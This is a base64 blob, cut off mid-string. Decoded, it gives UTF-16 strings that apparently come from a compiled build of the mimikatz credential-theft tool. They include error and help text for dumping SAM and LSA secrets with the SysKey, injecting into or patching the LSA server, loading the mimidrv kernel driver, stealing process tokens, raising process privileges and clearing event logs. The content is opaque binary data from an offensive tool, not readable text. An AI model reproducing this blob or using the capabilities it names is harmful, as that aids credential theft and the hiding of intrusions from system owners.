AHIAYQBnAGUAUAByAG8AdgBpAGQAZQByACAAJQAwADgAeAAKAAAAAAAAAAAARQB4AHAAbwByAHQAIABQAG8AbABpAGMAeQAAAAAAAABMAGUAbgBnAHQAaAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAcgBpAG4AdABLAGUAeQBJAG4AZgBvAHMAIAA7ACAATgBDAHIAeQBwAHQARwBlAHQAUAByAG8AcABlAHIAdAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABDAHIAeQBwAHQARwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFkARQBTAAAATgBPAAAAAAAJAEUAeABwAG8AcgB0AGEAYgBsAGUAIABrAGUAeQAgADoAIAAlAHMACgAJAEsAZQB5ACAAcwBpAHoAZQAgACAAIAAgACAAIAAgADoAIAAlAHUACgAAAAAAUgBTAEEAUABSAEkAVgBBAFQARQBCAEwATwBCAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAEMAcgB5AHAAdABTAGUAdABQAHIAbwBwAGUAcgB0AHkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUgBhAHcASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAATgBvACAAQwBOAEcAIQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEMAQQBQAEkAUABSAEkAVgBBAFQARQBCAEwATwBCAAAATwBLAAAAAABLAE8AAAAAAAkAUAByAGkAdgBhAHQAZQAgAGUAeABwAG8AcgB0ACAAOgAgACUAcwAgAC0AIAAAACcAJQBzACcACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABFAHgAcABvAHIAdAAgAC8AIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABkAGUAcgAAAAkAUAB1AGIAbABpAGMAIABlAHgAcABvAHIAdAAgACAAOgAgACUAcwAgAC0AIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAYQB0AGUARgBpAGwAZQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAcABmAHgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABFAHgAcABvAHIAdAAgAC8AIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABQAGYAeAAgADsAIABQAEYAWABFAHgAcABvAHIAdABDAGUAcgB0AFMAdABvAHIAZQBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AFQAbwBQAGYAeAAgADsAIABDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAZABlAGwAZQB0AGUAIAB0AGUAbQBwACAAawBlAHkAcwBlAHQAIAAlAHMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAbwBuAHQAZQB4AHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAEMAZQByAHQAQQBkAGQARQBuAGMAbwBkAGUAZABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVABvAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAJQBzAF8AJQBzAF8AJQB1AF8AJQBzAC4AJQBzAAAAAABOAFQATABNADoAIAAAAAAARABDAEMAMQA6ACAAAAAAAEQAQwBDADIAOgAgAAAAAABMAE0AIAAgADoAIAAAAAAATQBEADUAIAA6ACAAAAAAAFMASABBADEAOgAgAAAAAABTAEgAQQAyADoAIAAAAAAAcgBzAGEAZQBuAGgALgBkAGwAbAAAAAAATABvAGMAYQBsACAAQwByAHkAcAB0AG8AQQBQAEkAIABwAGEAdABjAGgAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABfAGMAYQBwAGkAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAG4AYwByAHkAcAB0AC4AZABsAGwAAAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAAAASwBlAHkASQBzAG8AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBuAGcAIAA7ACAATgBvACAAQwBOAEcACgAAAGQAcgBvAHAAAAAAAAAAAAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAHAAYQB0AGMAaAAgAEUAdgBlAG4AdABzACAAcwBlAHIAdgBpAGMAZQAgAHQAbwAgAGEAdgBvAGkAZAAgAG4AZQB3ACAAZQB2AGUAbgB0AHMAAABjAGwAZQBhAHIAAAAAAAAAQwBsAGUAYQByACAAYQBuACAAZQB2AGUAbgB0ACAAbABvAGcAAAAAAGUAdgBlAG4AdAAAAAAAAABFAHYAZQBuAHQAIABtAG8AZAB1AGwAZQAAAAAAAAAAAGUAdgBlAG4AdABsAG8AZwAuAGQAbABsAAAAAAAAAAAAdwBlAHYAdABzAHYAYwAuAGQAbABsAAAARQB2AGUAbgB0AEwAbwBnAAAAAAAAAAAAUwBlAGMAdQByAGkAdAB5AAAAAAAAAAAAbABvAGcAAABVAHMAaQBuAGcAIAAiACUAcwAiACAAZQB2AGUAbgB0ACAAbABvAGcAIAA6AAoAAAAtACAAJQB1ACAAZQB2AGUAbgB0ACgAcwApAAoAAAAAAC0AIABDAGwAZQBhAHIAZQBkACAAIQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGUAdgBlAG4AdABfAGMAbABlAGEAcgAgADsAIABDAGwAZQBhAHIARQB2AGUAbgB0AEwAbwBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAATwBwAGUAbgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAACsAAAAAAAAAAAAAAEkAbgBzAHQAYQBsAGwAIABhAG4AZAAvAG8AcgAgAHMAdABhAHIAdAAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAC0AAAAAAAAAAAAAAAAAAABSAGUAbQBvAHYAZQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAAAAAABwAGkAbgBnAAAAAAAAAAAAUABpAG4AZwAgAHQAaABlACAAZAByAGkAdgBlAHIAAABiAHMAbwBkAAAAAAAAAAAAQgBTAE8ARAAgACEAAAAAAHAAcgBvAGMAZQBzAHMAAABMAGkAcwB0ACAAcAByAG8AYwBlAHMAcwAAAAAAAAAAAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAAAAAAUAByAG8AdABlAGMAdAAgAHAAcgBvAGMAZQBzAHMAAABwAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAAAAAAAAAAAEQAdQBwAGwAaQBjAGEAdABlACAAcAByAG8AYwBlAHMAcwAgAHQAbwBrAGUAbgAAAHAAcgBvAGMAZQBzAHMAUAByAGkAdgBpAGwAZQBnAGUAAAAAAAAAAABTAGUAdAAgAGEAbABsACAAcAByAGkAdgBpAGwAZQBnAGUAIABvAG4AIABwAHIAbwBjAGUAcwBzAAAAAAAAAAAAbQBvAGQAdQBsAGUAcwAAAEwAaQBzAHQAIABtAG8AZAB1AGwAZQBzAAAAAAAAAAAAcwBzAGQAdAAAAAAAAAAAAEwAaQBzAHQAIABTAFMARABUAAAAAAAAAG4AbwB0AGkAZgBQAHIAbwBjAGUAcwBzAAAAAAAAAAAATABpAHMAdAAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAG4AbwB0AGkAZgBUAGgAcgBlAGEAZAAAAEwAaQBzAHQAIAB0AGgAcgBlAGEAZAAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAAAAAABuAG8AdABpAGYASQBtAGEAZwBlAAAAAABMAGkAcwB0ACAAaQBtAGEAZwBlACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAG4AbwB0AGkAZgBSAGUAZwAAAAAAAAAAAEwAaQBzAHQAIAByAGUAZwBpAHMAdAByAHkAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAAABMAGkAcwB0ACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAAAAbgBvAHQAaQBmAFAAcgBvAGMAZQBzAHMAUgBlAG0AbwB2AGUAAAAAAFIAZQBtAG8AdgBlACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAUgBlAG0AbwB2AGUAAAAAAAAAUgBlAG0AbwB2AGUAIABvAGIAagBlAGMAdAAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAAAAAAAAAGYAaQBsAHQAZQByAHMAAABMAGkAcwB0ACAARgBTACAAZgBpAGwAdABlAHIAcwAAAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABtAGkAbgBpAGYAaQBsAHQAZQByAHMAAAAAAAAAAABtAGkAbQBpAGQAcgB2AC4AcwB5AHMAAABtAGkAbQBpAGQAcgB2AAAAAAAAAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcgBlAGcAaQBzAHQAZQByAGUAZAAKAAAAAAAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAEEAQwBMACAAdABvACAAZQB2AGUAcgB5AG8AbgBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABXAG8AcgBsAGQAVABvAE0AaQBtAGkAawBhAHQAegAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABDAHIAZQBhAHQAZQBTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGkAcwBGAGkAbABlAEUAeABpAHMAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEEAYgBzAG8AbAB1AHQAZQBQAGEAdABoAE8AZgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHQAYQByAHQAZQBkAAoAAAAAAAAAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHMAdABhAHIAdABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAUwB0AGEAcgB0AFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAQwBNAGEAbgBhAGcAZQByACgAYwByAGUAYQB0AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHQAbwBwAHAAZQBkAAoAAAAAAAAAAAAAAAAAAAAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHIAdQBuAG4AaQBuAGcACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHIAZQBtAG8AdgBlAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBzAHQAbwBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAByAGUAbQBvAHYAZQBkAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwByAGUAbQBvAHYAZQBfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcgBlAG0AbwB2AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAHIAZQBtAG8AdgBlAAAAAABQAHIAbwBjAGUAcwBzACAAOgAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAHAAaQBkAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABBAHIAZwB1AG0AZQBuAHQAIAAvAHAAcgBvAGMAZQBzAHMAOgBwAHIAbwBnAHIAYQBtAC4AZQB4AGUAIABvAHIAIAAvAHAAaQBkADoAcAByAG8AYwBlAHMAcwBpAGQAIABuAGUAZQBkAGUAZAAKAAAAAAAAAAAAUABJAEQAIAAlAHUAIAAtAD4AIAAlADAAMgB4AC8AJQAwADIAeAAgAFsAJQAxAHgALQAlADEAeAAtACUAMQB4AF0ACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAE4AbwAgAFAASQBEAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAFAAcgBvAHQAZQBjAHQAZQBkACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABiAGUAZgBvAHIAZQAgAFcAaQBuAGQAbwB3AHMAIABWAGkAcwB0AGEACgAAAAAAZgByAG8AbQAAAAAAdABvAAAAAAAAAAAAVABvAGsAZQBuACAAZgByAG8AbQAgAHAAcgBvAGMAZQBzAHMAIAAlAHUAIAB0AG8AIABwAHIAbwBjAGUAcwBzACAAJQB1AAoAAAAAAAAAAAAgACoAIABmAHIAbwBtACAAMAAgAHcAaQBsAGwAIAB0AGEAawBlACAAUwBZAFMAVABFAE0AIAB0AG8AawBlAG4ACgAAAAAAAAAAAAAAAAAAACAAKgAgAHQAbwAgADAAIAB3AGkAbABsACAAdABhAGsAZQAgAGEAbABsACAAJwBjAG0AZAAnACAAYQBuAGQAIAAnAG0AaQBtAGkAawBhAHQAegAnACAAcAByAG8AYwBlAHMAcwAKAAAAVABhAHIAZwBlAHQAIAA9ACAAMAB4ACUAcAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBuAG8AdABpAGYAeQBHAGUAbgBlAHIAaQBjAFIAZQBtAG8AdgBlACAAOwAgAE4AbwAgAGEAZABkAHIAZQBzAHMAPwAKAAAAAABzAGEAbQAAAAAAAAAAAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMAQQBNACAAZQBuAHQAcgBpAGUAcwAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAABzAGUAYwByAGUAdABzAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMARQBDAFIARQBUAFMAIABlAG4AdAByAGkAZQBzACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAAAAAAAAAAAAAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAE4ATAAkAEsATQAgAHQAaABlAG4AIABNAFMAQwBhAGMAaABlACgAdgAyACkAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAAABsAHMAYQAAAEEAcwBrACAATABTAEEAIABTAGUAcgB2AGUAcgAgAHQAbwAgAHIAZQB0AHIAaQBlAHYAZQAgAFMAQQBNAC8AQQBEACAAZQBuAHQAcgBpAGUAcwAgACgAbgBvAHIAbQBhAGwALAAgAHAAYQB0AGMAaAAgAG8AbgAgAHQAaABlACAAZgBsAHkAIABvAHIAIABpAG4AagBlAGMAdAApAAAAAAB0AHIAdQBzAHQAAAAAAAAAQQBzAGsAIABMAFMAQQAgAFMAZQByAHYAZQByACAAdABvACAAcgBlAHQAcgBpAGUAdgBlACAAVAByAHUAcwB0ACAAQQB1AHQAaAAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAgACgAbgBvAHIAbQBhAGwAIABvAHIAIABwAGEAdABjAGgAIABvAG4AIAB0AGgAZQAgAGYAbAB5ACkAAAAAAGIAYQBjAGsAdQBwAGsAZQB5AHMAAAAAAHIAcABkAGEAdABhAAAAAABkAGMAcwB5AG4AYwAAAAAAAAAAAAAAAABBAHMAawAgAGEAIABEAEMAIAB0AG8AIABzAHkAbgBjAGgAcgBvAG4AaQB6AGUAIABhAG4AIABvAGIAagBlAGMAdAAAAAAAAABsAHMAYQBkAHUAbQBwAAAATABzAGEARAB1AG0AcAAgAG0AbwBkAHUAbABlAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAWQBTAFQARQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBBAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUwBZAFMAVABFAE0AAAAAAFMAQQBNAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgACgAUwBBAE0AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAawBpAHcAaQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEUAQwBVAFIASQBUAFkAIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAFMARQBDAFUAUgBJAFQAWQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKABTAEUAQwBVAFIASQBUAFkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwB1AHIAcgBlAG4AdAAAAEQAZQBmAGEAdQBsAHQAAABDAG8AbgB0AHIAbwBsAFMAZQB0ADAAMAAwAAAAAAAAAFMAZQBsAGUAYwB0AAAAAAAlADAAMwB1AAAAAABKAEQAAAAAAAAAAABTAGsAZQB3ADEAAAAAAAAARwBCAEcAAABEAGEAdABhAAAAAAAlAHgAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAeQBzAGsAZQB5ACAAOwAgAEwAUwBBACAASwBlAHkAIABDAGwAYQBzAHMAIAByAGUAYQBkACAAZQByAHIAbwByAAoAAAAAAEQAbwBtAGEAaQBuACAAOgAgAAAAAAAAAEMAbwBuAHQAcgBvAGwAXABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQBcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAAAAAAAAAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAAAAAAAAAAAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAASwBPAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAASwBPAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAgAEsATwAKAAAAAAAAAFMAeQBzAEsAZQB5ACAAOgAgAAAAAAAAAEMAbwBuAHQAcgBvAGwAXABMAFMAQQAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAeQBzAGsAZQB5ACAASwBPAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8